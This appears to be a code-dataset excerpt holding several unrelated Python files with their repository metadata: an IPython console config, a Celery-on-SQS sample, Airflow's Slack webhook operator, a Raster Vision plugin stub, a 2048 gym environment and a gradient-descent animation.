c.IPythonQtConsoleApp.hide_menubar = False # The Logging format template # c.IPythonQtConsoleApp.log_format = '[%(name)s]%(highlevel)s %(message)s' # # c.IPythonQtConsoleApp.transport = 'tcp' #------------------------------------------------------------------------------ # IPythonWidget configuration #------------------------------------------------------------------------------ # A FrontendWidget for an IPython kernel. # IPythonWidget will inherit config from: FrontendWidget, HistoryConsoleWidget, # ConsoleWidget # The type of completer to use. Valid values are: # # 'plain' : Show the available completion as a text list # Below the editing area. # 'droplist': Show the completion in a drop down list navigable # by the arrow keys, and from which you can select # completion by pressing Return. # 'ncurses' : Show the completion as a text list which is navigable by # `tab` and arrow keys. # c.IPythonWidget.gui_completion = 'ncurses' # Whether to process ANSI escape codes. # c.IPythonWidget.ansi_codes = True # A CSS stylesheet. The stylesheet can contain classes for: # 1. Qt: QPlainTextEdit, QFrame, QWidget, etc # 2. Pygments: .c, .k, .o, etc. (see PygmentsHighlighter) # 3. IPython: .error, .in-prompt, .out-prompt, etc # c.IPythonWidget.style_sheet = u'' # The height of the console at start time in number of characters (will double # with `vsplit` paging) # c.IPythonWidget.height = 25 # # c.IPythonWidget.out_prompt = 'Out[<span class="out-prompt-number">%i</span>]: ' # # c.IPythonWidget.input_sep = '\n' # Whether to draw information calltips on open-parentheses. # c.IPythonWidget.enable_calltips = True # # c.IPythonWidget.in_prompt = 'In [<span class="in-prompt-number">%i</span>]: ' # The width of the console at start time in number of characters (will double # with `hsplit` paging) # c.IPythonWidget.width = 81 # A command for invoking a system text editor. If the string contains a # {filename} format specifier, it will be used. Otherwise, the filename will be # appended to the end the command. # c.IPythonWidget.editor = '' # If not empty, use this Pygments style for syntax highlighting. Otherwise, the # style sheet is queried for Pygments style information. # c.IPythonWidget.syntax_style = u'' # The font family to use for the console. On OSX this defaults to Monaco, on # Windows the default is Consolas with fallback of Courier, and on other # platforms the default is Monospace. # c.IPythonWidget.font_family = u'' # The pygments lexer class to use. # c.IPythonWidget.lexer_class = <IPython.utils.traitlets.Undefined object at 0x102485590> # # c.IPythonWidget.output_sep2 = '' # Whether to automatically execute on syntactically complete input. # # If False, Shift-Enter is required to submit each execution. Disabling this is # mainly useful for non-Python kernels, where the completion check would be # wrong. # c.IPythonWidget.execute_on_complete_input = True # The maximum number of lines of text before truncation. Specifying a non- # positive number disables text truncation (not recommended). # c.IPythonWidget.buffer_size = 500 # # c.IPythonWidget.history_lock = False # # c.IPythonWidget.banner = u'' # The type of underlying text widget to use. Valid values are 'plain', which # specifies a QPlainTextEdit, and 'rich', which specifies a QTextEdit. # c.IPythonWidget.kind = 'plain' # Whether to ask for user confirmation when restarting kernel # c.IPythonWidget.confirm_restart = True # The font size. If unconfigured, Qt will be entrusted with the size of the # font. # c.IPythonWidget.font_size = 0 # The editor command to use when a specific line number is requested. The string # should contain two format specifiers: {line} and {filename}. If this parameter # is not specified, the line number option to the %edit magic will be ignored. # c.IPythonWidget.editor_line = u'' # Whether to clear the console when the kernel is restarted # c.IPythonWidget.clear_on_kernel_restart = True # The type of paging to use. Valid values are: # # 'inside' # The widget pages like a traditional terminal. # 'hsplit' # When paging is requested, the widget is split horizontally. The top # pane contains the console, and the bottom pane contains the paged text. # 'vsplit' # Similar to 'hsplit', except that a vertical splitter is used. # 'custom' # No action is taken by the widget beyond emitting a # 'custom_page_requested(str)' signal. # 'none' # The text is written directly to the console. # c.IPythonWidget.paging = 'inside' # # c.IPythonWidget.output_sep = '' #------------------------------------------------------------------------------ # IPKernelApp configuration #------------------------------------------------------------------------------ # IPython: an enhanced interactive Python shell. # IPKernelApp will inherit config from: BaseIPythonApplication, Application, # InteractiveShellApp # Run the file referenced by the PYTHONSTARTUP environment variable at IPython # startup. # c.IPKernelApp.exec_PYTHONSTARTUP = True # The importstring for the DisplayHook factory # c.IPKernelApp.displayhook_class = 'IPython.kernel.zmq.displayhook.ZMQDisplayHook' # Set the IP or interface on which the kernel will listen. # c.IPKernelApp.ip = u'' # Pre-load matplotlib and numpy for interactive use, selecting a particular # matplotlib backend and loop integration. # c.IPKernelApp.pylab = None # Create a massive crash report when IPython encounters what may be an internal # error. The default is to append a short message to the usual traceback # c.IPKernelApp.verbose_crash = False # The Kernel subclass to be used. # # This should allow easy re-use of the IPKernelApp entry point to configure and # launch kernels other than IPython's own. # c.IPKernelApp.kernel_class = 'IPython.kernel.zmq.ipkernel.Kernel' # Run the module as a script. # c.IPKernelApp.module_to_run = '' # The date format used by logging formatters for %(asctime)s # c.IPKernelApp.log_datefmt = '%Y-%m-%d %H:%M:%S' # set the shell (ROUTER) port [default: random] # c.IPKernelApp.shell_port = 0 # set the control (ROUTER) port [default: random] # c.IPKernelApp.control_port = 0 # Whether to overwrite existing config files when copying # c.IPKernelApp.overwrite = False # Execute the given command string. # c.IPKernelApp.code_to_run = '' # set the stdin (ROUTER) port [default: random] # c.IPKernelApp.stdin_port = 0 # Set the log level by value or name. # c.IPKernelApp.log_level = 30 # lines of code to run at IPython startup. # c.IPKernelApp.exec_lines = [] # Path to an extra config file to load. # # If specified, load this config file in addition to any other IPython config. # c.IPKernelApp.extra_config_file = u'' # The importstring for the OutStream factory # c.IPKernelApp.outstream_class = 'IPython.kernel.zmq.iostream.OutStream' # Whether to create profile dir if it doesn't exist # c.IPKernelApp.auto_create = False # set the heartbeat port [default: random] # c.IPKernelApp.hb_port = 0 # # c.IPKernelApp.transport = 'tcp' # redirect stdout to the null device # c.IPKernelApp.no_stdout = False # Should variables loaded at startup (by startup files, exec_lines, etc.) be # hidden from tools like %who? # c.IPKernelApp.hide_initial_ns = True # dotted module name of an IPython extension to load. # c.IPKernelApp.extra_extension = '' # A file to be run # c.IPKernelApp.file_to_run = '' # The IPython profile to use. # c.IPKernelApp.profile = u'default' # # c.IPKernelApp.parent_appname = u'' # kill this process if its parent dies. On Windows, the argument specifies the # HANDLE of the parent process, otherwise it is simply boolean. # c.IPKernelApp.parent_handle = 0 # JSON file in which to store connection info [default: kernel-<pid>.json] # # This file will contain the IP, ports, and authentication key needed to connect # clients to this kernel. By default, this file will be created in the security # dir of the current profile, but can be specified by absolute path. # c.IPKernelApp.connection_file = '' # If true, IPython will populate the user namespace with numpy, pylab, etc. and # an ``import *`` is done from numpy and pylab, when using pylab mode. # # When False, pylab mode should not import any names into the user namespace. # c.IPKernelApp.pylab_import_all = True # The name of the IPython directory. This directory is used for logging # configuration (through profiles), history storage, etc. The default is usually # $HOME/.ipython. This options can also be specified through the environment # variable IPYTHONDIR. # c.IPKernelApp.ipython_dir = u'' # Configure matplotlib for interactive use with the default matplotlib backend. # c.IPKernelApp.matplotlib = None # ONLY USED ON WINDOWS Interrupt this process when the parent is signaled. # c.IPKernelApp.interrupt = 0 # Whether to install the default config files into the profile dir. If a new # profile is being created, and IPython contains config files for that profile, # then they will be staged into the new directory. Otherwise, default config # files will be automatically generated. # c.IPKernelApp.copy_config_files = False # List of files to run at IPython startup. # c.IPKernelApp.exec_files = [] # Enable GUI event loop integration with any of ('glut', 'gtk', 'gtk3', 'none', # 'osx', 'pyglet', 'qt', 'qt4', 'tk', 'wx'). # c.IPKernelApp.gui = None # A list of dotted module names of IPython extensions to load. # c.IPKernelApp.extensions = [] # redirect stderr to the null device # c.IPKernelApp.no_stderr = False # The Logging format template # c.IPKernelApp.log_format = '[%(name)s]%(highlevel)s %(message)s' # set the iopub (PUB) port [default: random] # c.IPKernelApp.iopub_port = 0 #------------------------------------------------------------------------------ # ZMQInteractiveShell configuration #------------------------------------------------------------------------------ # A subclass of InteractiveShell for ZMQ. # ZMQInteractiveShell will inherit config from: InteractiveShell # Use colors for displaying information about objects. Because this information # is passed through a pager (like 'less'), and some pagers get confused with # color codes, this capability can be turned off. # c.ZMQInteractiveShell.color_info = True # A list of ast.NodeTransformer subclass instances, which will be applied to # user input before code is run. # c.ZMQInteractiveShell.ast_transformers = [] # # c.ZMQInteractiveShell.history_length = 10000 # Don't call post-execute functions that have failed in the past. # c.ZMQInteractiveShell.disable_failing_post_execute = False # Show rewritten input, e.g. for autocall. # c.ZMQInteractiveShell.show_rewritten_input = True # Set the color scheme (NoColor, Linux, or LightBG). c.ZMQInteractiveShell.colors = 'Linux' # # c.ZMQInteractiveShell.separate_in = '\n' # Deprecated, use PromptManager.in2_template # c.ZMQInteractiveShell.prompt_in2 = ' .\\D.: ' # # c.ZMQInteractiveShell.separate_out = '' # Deprecated, use PromptManager.in_template # c.ZMQInteractiveShell.prompt_in1 = 'In [\\#]: ' # Enable deep (recursive) reloading by default. IPython can use the deep_reload # module which reloads changes in modules recursively (it replaces the reload() # function, so you don't need to change anything to use it). deep_reload() # forces a full reload of modules whose code may have changed, which the default # reload() function does not. When deep_reload is off, IPython will use the # normal reload(), but deep_reload will still be available as dreload(). # c.ZMQInteractiveShell.deep_reload = False # Make IPython automatically call any callable object even if you didn't type # explicit parentheses. For example, 'str 43' becomes 'str(43)' automatically. # The value can be '0' to disable the feature, '1' for 'smart' autocall, where # it is not applied if there are no more arguments on the line, and '2' for # 'full' autocall, where all callable objects are automatically called (even if # no arguments are present). # c.ZMQInteractiveShell.autocall = 0 # # c.ZMQInteractiveShell.separate_out2 = '' # Deprecated, use PromptManager.justify # c.ZMQInteractiveShell.prompts_pad_left = True # # c.ZMQInteractiveShell.readline_parse_and_bind = ['tab: complete', '"\\C-l": clear-screen', 'set show-all-if-ambiguous on', '"\\C-o": tab-insert', '"\\C-r": reverse-search-history', '"\\C-s": forward-search-history', '"\\C-p": history-search-backward', '"\\C-n": history-search-forward', '"\\e[A": history-search-backward', '"\\e[B": history-search-forward', '"\\C-k": kill-line', '"\\C-u": unix-line-discard'] # Enable magic commands to be called without the leading %. # c.ZMQInteractiveShell.automagic = True # # c.ZMQInteractiveShell.debug = False # # c.ZMQInteractiveShell.object_info_string_level = 0 # # c.ZMQInteractiveShell.ipython_dir = '' # # c.ZMQInteractiveShell.readline_remove_delims = '-/~' # Start logging to the default log file. # c.ZMQInteractiveShell.logstart = False # The name of the logfile to use. # c.ZMQInteractiveShell.logfile = '' # # c.ZMQInteractiveShell.wildcards_case_sensitive = True # Save multi-line entries as one entry in readline history # c.ZMQInteractiveShell.multiline_history = True # Start logging to the given file in append mode. # c.ZMQInteractiveShell.logappend = '' # # c.ZMQInteractiveShell.xmode = 'Context' # # c.ZMQInteractiveShell.quiet = False # Deprecated, use PromptManager.out_template # c.ZMQInteractiveShell.prompt_out = 'Out[\\#]: ' # Set the size of the output cache. The default is 1000, you can change it # permanently in your config file. Setting it to 0 completely disables the # caching system, and the minimum value accepted is 20 (if you provide a value # less than 20, it is reset to 0 and a warning is issued). This limit is # defined because otherwise you'll spend more time re-flushing a too small cache # than working # c.ZMQInteractiveShell.cache_size = 1000 # 'all', 'last', 'last_expr' or 'none', specifying which nodes should be run # interactively (displaying output from expressions). # c.ZMQInteractiveShell.ast_node_interactivity = 'last_expr' # Automatically call the pdb debugger after every exception. # c.ZMQInteractiveShell.pdb = False #------------------------------------------------------------------------------ # KernelManager configuration #------------------------------------------------------------------------------ # Manages a single kernel in a subprocess on this host. # # This version starts kernels with Popen. # KernelManager will inherit config from: ConnectionFileMixin # The Popen Command to launch the kernel. Override this if you have a custom # kernel. If kernel_cmd is specified in a configuration file, IPython does not # pass any arguments to the kernel, because it cannot make any assumptions about # the arguments that the kernel understands. In particular, this means that the # kernel does not receive the option --debug if it given on the IPython command # line. # c.KernelManager.kernel_cmd = [] # Set the kernel's IP address [default localhost]. If the IP address is # something other than localhost, then Consoles on other machines will be able # to connect to the Kernel, so be careful! # c.KernelManager.ip = u'' # # c.KernelManager.transport = 'tcp' # Should we autorestart the kernel if it dies. # c.KernelManager.autorestart = False #------------------------------------------------------------------------------ # ProfileDir configuration #------------------------------------------------------------------------------ # An object to manage the profile directory and its resources. # # The profile directory is used by all IPython applications, to manage # configuration, logging and security. # # This object knows how to find, create and manage these directories. This # should be used by any code that wants to handle profiles. # Set the profile location directly. This overrides the logic used by the # `profile` option. # c.ProfileDir.location = u'' #------------------------------------------------------------------------------ # Session configuration #------------------------------------------------------------------------------ # Object for handling serialization and sending of messages. # # The Session object handles building messages and sending them with ZMQ sockets # or ZMQStream objects. Objects can communicate with each other over the # network via Session objects, and only need to work with the dict-based IPython # message spec. The Session will handle serialization/deserialization, security, # and metadata. # # Sessions support configurable serialization via packer/unpacker traits, and # signing with HMAC digests via the key/keyfile traits. # # Parameters ---------- # # debug : bool # whether to trigger extra debugging statements # packer/unpacker : str : 'json', 'pickle' or import_string # importstrings for methods to serialize message parts. If just # 'json' or 'pickle', predefined JSON and pickle packers will be used. # Otherwise, the entire importstring must be used. # # The functions must accept at least valid JSON input, and output *bytes*. # # For example, to use msgpack: # packer = 'msgpack.packb', unpacker='msgpack.unpackb' # pack/unpack : callables # You can also set the pack/unpack callables for serialization directly. # session : bytes # the ID of this Session object. The default is to generate a new UUID. # username : unicode # username added to message headers. The default is to ask the OS. # key : bytes # The key used to initialize an HMAC signature. If unset, messages # will not be signed or checked. # keyfile : filepath # The file containing a key. If this is set, `key` will be initialized # to the contents of the file. # Username for the Session. Default is your system username. # c.Session.username = u'elsdrm' # The name of the unpacker for unserializing messages. Only used with custom # functions for `packer`. # c.Session.unpacker = 'json' # Threshold (in bytes) beyond which a buffer should be sent without copying. # c.Session.copy_threshold = 65536 # The name of the packer for serializing messages. Should be one of 'json', # 'pickle', or an import name for a custom callable serializer. # c.Session.packer = 'json' # The maximum number of digests to remember. # # The digest history will be culled when it exceeds this value. # c.Session.digest_history_size = 65536 # The UUID identifying this session. # c.Session.session = u'' # The digest scheme used to construct the message signatures. Must have the form # 'hmac-HASH'. # c.Session.signature_scheme = 'hmac-sha256' # execution key, for extra authentication. # c.Session.key = '' # Debug output in the Session # c.Session.debug = False # The maximum number of items for a container to be introspected for custom # serialization. Containers larger than this are pickled outright. # c.Session.item_threshold = 64 # path to file containing execution key. # c.Session.keyfile = '' # Threshold (in bytes) beyond which an object's buffer should be extracted to # avoid pickling. # c.Session.buffer_threshold = 1024 # Metadata dictionary, which serves as the default top-level metadata dict for # each message. # c.Session.metadata = {} #------------------------------------------------------------------------------ # InlineBackend configuration #------------------------------------------------------------------------------ # An object to store configuration of the inline backend. # The figure format to enable (deprecated use `figure_formats` instead) # c.InlineBackend.figure_format = u'' # A set of figure formats to enable: 'png', 'retina', 'jpeg', 'svg', 'pdf'. # c.InlineBackend.figure_formats = set(['png']) # Extra kwargs to be passed to fig.canvas.print_figure. # # Logical examples include: bbox_inches, quality (for jpeg figures), etc. # c.InlineBackend.print_figure_kwargs = {'bbox_inches': 'tight'} # Close all figures at the end of each cell. # # When True, ensures that each cell starts with no active figures, but it also # means that one must keep track of references in order to edit or redraw # figures in subsequent cells. This mode is ideal for the notebook, where # residual plots from other cells might be surprising. # # When False, one must call figure() to create new figures. This means that # gcf() and getfigs() can reference figures created in other cells, and the # active figure can continue to be edited with pylab/pyplot methods that # reference the current active figure. This mode facilitates iterative editing # of figures, and behaves most consistently with other matplotlib backends, but # figure barriers between cells must be explicit. # c.InlineBackend.close_figures = True # Subset of matplotlib rcParams that should be different for the inline backend. # c.InlineBackend.rc = {'font.size': 10, 'figure.figsize': (6.0, 4.0), 'figure.facecolor': (1, 1, 1, 0), 'savefig.dpi': 72, 'figure.subplot.bottom': 0.125, 'figure.edgecolor': (1, 1, 1, 0)}
37.088855
411
0.712145
79592f69b1be10f1980b501cacfb176f9106a7c0
1,416
py
Python
celery-sqs/app.py
ScriptonBasestar-samples/sb-samples-python
870da87b98b3b77a2b0520adfa10bdfd67a8e8e1
[ "MIT" ]
null
null
null
celery-sqs/app.py
ScriptonBasestar-samples/sb-samples-python
870da87b98b3b77a2b0520adfa10bdfd67a8e8e1
[ "MIT" ]
null
null
null
celery-sqs/app.py
ScriptonBasestar-samples/sb-samples-python
870da87b98b3b77a2b0520adfa10bdfd67a8e8e1
[ "MIT" ]
null
null
null
from celery import Celery from kombu.utils.url import safequote import os AWS_ACCESS_KEY = os.getenv('AWS_ACCESS_KEY', 'ABCDEFGHIJKLMNOPQRST') AWS_SECRET_KEY = os.getenv('AWS_SECRET_KEY', 'ZYXK7NiynG/TogH8Nj+P9nlE73sq3') AWS_REGION = os.getenv('AWS_REGION', 'ap-northeast-2') AWS_USER_ID= os.getenv('AWS_USER_ID', '191919191919') SQS_NAME=os.getenv('SQS_NAME', 'test_sqs_1') broker_url = "sqs://{AWS_ACCESS_KEY}:{AWS_SECRET_KEY}@".format( AWS_ACCESS_KEY=safequote(AWS_ACCESS_KEY), AWS_SECRET_KEY=safequote(AWS_SECRET_KEY), ) broker_transport_options = { 'region': AWS_REGION, 'visibility_timeout': 3600, # 1 hour 'polling_interval': 0.3, 'wait_time_seconds': 15, 'queue_name_prefix': '', 'predefined-queues': { 'test1': { 'url': 'https://{AWS_REGION}.queue.amazonaws.com/{AWS_USER_ID}/{SQS_NAME}'.format( AWS_REGION=AWS_REGION, AWS_USER_ID=AWS_USER_ID, SQS_NAME=SQS_NAME, ), 'access_key_id': AWS_ACCESS_KEY, 'secret_access_key': AWS_SECRET_KEY, } } } app = Celery('tasks', broker=broker_url, backend='rpc://') @app.task def add(x, y): return x + y if __name__ == '__main__': r0 = add.delay(2,5) r1 = add.delay(2,7) r2 = add.delay(7,5) r3 = add.delay(2,3) print(r0.ready()) print(r0.ready()) print(r0.ready()) print(r0.ready())
27.764706
94
0.644774
79593016e2cf7c34399eb5bb456f49e3446ee037
4,452
py
Python
airflow/providers/slack/operators/slack_webhook.py
shashijangra/airflow-1
c3e340584bf1892c4f73aa9e7495b5823dab0c40
[ "Apache-2.0" ]
2
2021-07-30T17:25:56.000Z
2021-08-03T13:51:09.000Z
airflow/providers/slack/operators/slack_webhook.py
shashijangra/airflow-1
c3e340584bf1892c4f73aa9e7495b5823dab0c40
[ "Apache-2.0" ]
null
null
null
airflow/providers/slack/operators/slack_webhook.py
shashijangra/airflow-1
c3e340584bf1892c4f73aa9e7495b5823dab0c40
[ "Apache-2.0" ]
1
2020-11-06T01:26:29.000Z
2020-11-06T01:26:29.000Z
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # from typing import Optional, Dict, Any from airflow.providers.http.operators.http import SimpleHttpOperator from airflow.providers.slack.hooks.slack_webhook import SlackWebhookHook from airflow.utils.decorators import apply_defaults class SlackWebhookOperator(SimpleHttpOperator): """ This operator allows you to post messages to Slack using incoming webhooks. Takes both Slack webhook token directly and connection that has Slack webhook token. If both supplied, http_conn_id will be used as base_url, and webhook_token will be taken as endpoint, the relative path of the url. Each Slack webhook token can be pre-configured to use a specific channel, username and icon. You can override these defaults in this hook. :param http_conn_id: connection that has Slack webhook token in the extra field :type http_conn_id: str :param webhook_token: Slack webhook token :type webhook_token: str :param message: The message you want to send on Slack :type message: str :param attachments: The attachments to send on Slack. Should be a list of dictionaries representing Slack attachments. :type attachments: list :param blocks: The blocks to send on Slack. Should be a list of dictionaries representing Slack blocks. :type blocks: list :param channel: The channel the message should be posted to :type channel: str :param username: The username to post to slack with :type username: str :param icon_emoji: The emoji to use as icon for the user posting to Slack :type icon_emoji: str :param icon_url: The icon image URL string to use in place of the default icon. :type icon_url: str :param link_names: Whether or not to find and link channel and usernames in your message :type link_names: bool :param proxy: Proxy to use to make the Slack webhook call :type proxy: str """ template_fields = [ 'webhook_token', 'message', 'attachments', 'blocks', 'channel', 'username', 'proxy', ] # pylint: disable=too-many-arguments @apply_defaults def __init__( self, *, http_conn_id: str, webhook_token: Optional[str] = None, message: str = "", attachments: Optional[list] = None, blocks: Optional[list] = None, channel: Optional[str] = None, username: Optional[str] = None, icon_emoji: Optional[str] = None, icon_url: Optional[str] = None, link_names: bool = False, proxy: Optional[str] = None, **kwargs, ) -> None: super().__init__(endpoint=webhook_token, **kwargs) self.http_conn_id = http_conn_id self.webhook_token = webhook_token self.message = message self.attachments = attachments self.blocks = blocks self.channel = channel self.username = username self.icon_emoji = icon_emoji self.icon_url = icon_url self.link_names = link_names self.proxy = proxy self.hook: Optional[SlackWebhookHook] = None def execute(self, context: Dict[str, Any]) -> None: """ Call the SlackWebhookHook to post the provided Slack message """ self.hook = SlackWebhookHook( self.http_conn_id, self.webhook_token, self.message, self.attachments, self.blocks, self.channel, self.username, self.icon_emoji, self.icon_url, self.link_names, self.proxy, ) self.hook.execute()
36.195122
90
0.670934
7959306c5932a545d0599e75262f6d887412ac43
1,888
py
Python
tests/data-files/plugins/noop_raster_source.py
carderne/raster-vision
915fbcd3263d8f2193e65c2cd0eb53e050a47a01
[ "Apache-2.0" ]
3
2020-07-05T04:04:18.000Z
2021-02-05T16:19:55.000Z
tests/data-files/plugins/noop_raster_source.py
carderne/raster-vision
915fbcd3263d8f2193e65c2cd0eb53e050a47a01
[ "Apache-2.0" ]
null
null
null
tests/data-files/plugins/noop_raster_source.py
carderne/raster-vision
915fbcd3263d8f2193e65c2cd0eb53e050a47a01
[ "Apache-2.0" ]
1
2020-04-27T15:21:53.000Z
2020-04-27T15:21:53.000Z
import numpy as np import rastervision as rv from rastervision.core import Box from rastervision.data import (RasterSource, RasterSourceConfig, RasterSourceConfigBuilder, IdentityCRSTransformer) from rastervision.protos.raster_source_pb2 \ import RasterSourceConfig as RasterSourceConfigMsg NOOP_SOURCE = 'NOOP_SOURCE' class NoopRasterSource(RasterSource): def get_extent(self): Box.make_square(0, 0, 2) def get_dtype(self): return np.uint8 def get_crs_transformer(self): return IdentityCRSTransformer() def _get_chip(self, window): return np.random.rand(1, 2, 2, 3) class NoopRasterSourceConfig(RasterSourceConfig): def __init__(self, transformers=None, channel_order=None): super().__init__(NOOP_SOURCE, transformers, channel_order) def to_proto(self): msg = super().to_proto() msg.MergeFrom(RasterSourceConfigMsg(custom_config={})) return msg def create_source(self, tmp_dir): transformers = self.create_transformers() return NoopRasterSource(transformers, tmp_dir) def report_io(self, command_type, io_def): pass def save_bundle_files(self, bundle_dir): return (self, []) def load_bundle_files(self, bundle_dir): return self def for_prediction(self, image_uri): return self def create_local(self, tmp_dir): return self class NoopRasterSourceConfigBuilder(RasterSourceConfigBuilder): def __init__(self, prev=None): super().__init__(NoopRasterSourceConfig, {}) def from_proto(self, msg): return super().from_proto(msg) def register_plugin(plugin_registry): plugin_registry.register_config_builder(rv.RASTER_SOURCE, NOOP_SOURCE, NoopRasterSourceConfigBuilder)
27.764706
74
0.683792
7959308d6508bd704336d955d1d283eea89d0293
5,346
py
Python
game.py
yycho0108/2048_tf
b29a8a20d051a464814957e153ea7c099576bc0a
[ "MIT" ]
1
2017-09-07T22:47:52.000Z
2017-09-07T22:47:52.000Z
game.py
yycho0108/2048_tf
b29a8a20d051a464814957e153ea7c099576bc0a
[ "MIT" ]
null
null
null
game.py
yycho0108/2048_tf
b29a8a20d051a464814957e153ea7c099576bc0a
[ "MIT" ]
1
2020-04-12T16:12:20.000Z
2020-04-12T16:12:20.000Z
import numpy as np import gym from gym import spaces #from gym.utils import seeding #from gym.envs.classic_control import rendering import os from subprocess import Popen, PIPE LEFT = 0b00 RIGHT = 0b01 UP = 0b10 DOWN = 0b11 action_str = { LEFT : "LEFT", RIGHT : "RIGHT", UP : "UP", DOWN : "DOWN", } VERT_BIT = 0x10 POS_BIT = 0x01 class Game(gym.Env): metadata = { 'render.modes' : ['human'] } def __init__(self, w, h): self.w, self.h = w, h self.board = np.zeros((h,w), dtype=np.uint8) ir = range(self.h) jr = range(self.w) self.range = { LEFT : (ir,jr), RIGHT : (ir, list(reversed(jr))), UP : (ir,jr), DOWN : (list(reversed(ir)), jr), } low = np.zeros((self.w, self.h), dtype=np.uint8) high = np.full((self.w, self.h), 16, dtype=np.uint8) self.action_space = spaces.Discrete(4) self.observation_space = spaces.Box(low,high) self.reset() self.disp_path = '/tmp/2048.log' self.viewer = None def spawn(self, m=1): i_idx,j_idx = np.where(self.board == 0) n = len(i_idx) s = np.random.choice(n, size=m, replace=False) v = 1 + np.random.choice(2, size=m, p=(0.75, 0.25), replace=True) self.board[i_idx[s], j_idx[s]] = v def state(self, copy=True): return self.board.copy() #res = [(self.board == i).astype(np.float32) for i in range(16)] #return np.dstack(res) #return np.array(res, dtype=np.float32) #res = self.board.flatten() / 16.0 #if copy: # return res.copy() #else: # return res def _reset(self): self.board.fill(0) self.spawn(2) return self.state() def _step(self, action): ir,jr = self.range[action] board = self.board.T if (action & VERT_BIT) else self.board ir,jr = (jr,ir) if (action & VERT_BIT) else (ir,jr) spawn_flag = False for i in ir: ref_idx = (i, jr[0]) ref_val = board[ref_idx] for j in jr[1:]: val = board[i][j] if val > 0: ref_j = ref_idx[1] nxt_j = (ref_j-1 if (action & POS_BIT) else ref_j+1) nxt_idx = (i, nxt_j) if ref_val == 0: # replace spawn_flag = True board[i][j] = 0 board[ref_idx] = val ref_val = val elif ref_val == val: # merge spawn_flag = True board[i][j] = 0 board[ref_idx] += 1 ref_idx = nxt_idx ref_val = board[ref_idx] else: # collide if not(i == nxt_idx[0] and j == nxt_idx[1]): spawn_flag = True ref_idx = nxt_idx ref_val = val board[i][j] = 0 board[ref_idx] = val if spawn_flag: self.spawn(1) done = self._done() reward = np.max(board) / 16.0 if done else 0 #1.0 * np.any(board >= 10) # 10 = 1024 ... TODO: change to 2048? # reward = np.max(board) / 10.0 return self.state(), reward, done, {} def _render(self, mode='human', close=False): if close and self.viewer is not None: try: self.viewer.kill() self.viewer.terminate() self.viewer = None os.remove(self.disp_path) except OSError: pass return if self.viewer is None: if not os.path.exists(self.disp_path): os.mkfifo(self.disp_path) self.viewer = Popen(['xterm', '-e', 'tail -f %s' % self.disp_path], close_fds=True) with open(self.disp_path, 'w') as p: p.write(str(self) + '\n\n') def __repr__(self): return self.board.__repr__() def __str__(self): return self.board.__str__() def _done(self): board = self.board if not board.all(): return False # check vert ... if not (board[1:] - board[:-1]).all(): return False # check horz ... if not (board[:,1:] - board[:,:-1]).all(): return False return True def main(): game = Game(4,4) #for action in (LEFT,RIGHT,UP,DOWN): # print '==================' # game.reset() # game.spawn(6) # print game # print action_str[action] # game.step(action) # print game game.reset() print game.state() #print game.action_space.sample() #print game.observation_space.sample() done = False while not done: game.render() k = raw_input() if k == 'u': a = UP elif k == 'd': a = DOWN elif k == 'l': a = LEFT elif k == 'r': a = RIGHT else: continue state, reward, done, _ = game.step(a) if __name__ == "__main__": main()
27.989529
117
0.468762
795930901ca005aa07dd52a06c1a6aed2aae3a8d
1,090
py
Python
gradient_descent_local_minima.py
Shathra/gradient-descent-demonstration
0244a3602e7cbefb6c3b1905c3af5af5fd753022
[ "MIT" ]
9
2018-06-29T08:10:17.000Z
2021-11-18T23:48:47.000Z
gradient_descent_local_minima.py
Shathra/gradient-descent-demonstration
0244a3602e7cbefb6c3b1905c3af5af5fd753022
[ "MIT" ]
null
null
null
gradient_descent_local_minima.py
Shathra/gradient-descent-demonstration
0244a3602e7cbefb6c3b1905c3af5af5fd753022
[ "MIT" ]
6
2018-11-25T20:37:21.000Z
2020-12-10T05:48:53.000Z
import numpy as np import matplotlib.pyplot as plt import matplotlib.animation as animation # Function to minmize def f(x): return 8 * (x-10) * np.sin(0.5*x-5) + 200 # Derivative of the function def fd(x): return 4 * (x - 10) * np.cos(0.5*x - 5) + 8 * np.sin(0.5*x-5) x_min = -30 x_max = 30 x = np.linspace(x_min, x_max, 200) y = f(x) r = 0.01 # Learning rate x_est = 25 # Starting point y_est = f(x_est) def animate(i): global x_est global y_est # Gradient descent x_est = x_est - fd(x_est) * r y_est = f(x_est) # Update the plot scat.set_offsets([[x_est,y_est]]) text.set_text("Value : %.2f" % y_est) line.set_data(x, y) return line, scat, text def init(): line.set_data([], []) return line, # Visualization Stuff fig, ax = plt.subplots() ax.set_xlim([x_min, x_max]) ax.set_ylim([-5, 500]) ax.set_xlabel("x") ax.set_ylabel("f(x)") plt.title("Gradient Descent Local Minima") line, = ax.plot([], []) scat = ax.scatter([], [], c="red") text = ax.text(-25,450,"") ani = animation.FuncAnimation(fig, animate, 40, init_func=init, interval=100, blit=True) plt.show()
19.818182
62
0.655963
795931b03361eaf5e206c1cbeb109f9c93debeca
20,454
py
Python
oot-graph-builder/oot_graph_builder.py
DarkMuesli/OoT-Graph-Model
c740839c13a046b6e8000087d39b467462fe87ef
[ "MIT" ]
null
null
null
oot-graph-builder/oot_graph_builder.py
DarkMuesli/OoT-Graph-Model
c740839c13a046b6e8000087d39b467462fe87ef
[ "MIT" ]
null
null
null
oot-graph-builder/oot_graph_builder.py
DarkMuesli/OoT-Graph-Model
c740839c13a046b6e8000087d39b467462fe87ef
[ "MIT" ]
null
null
null
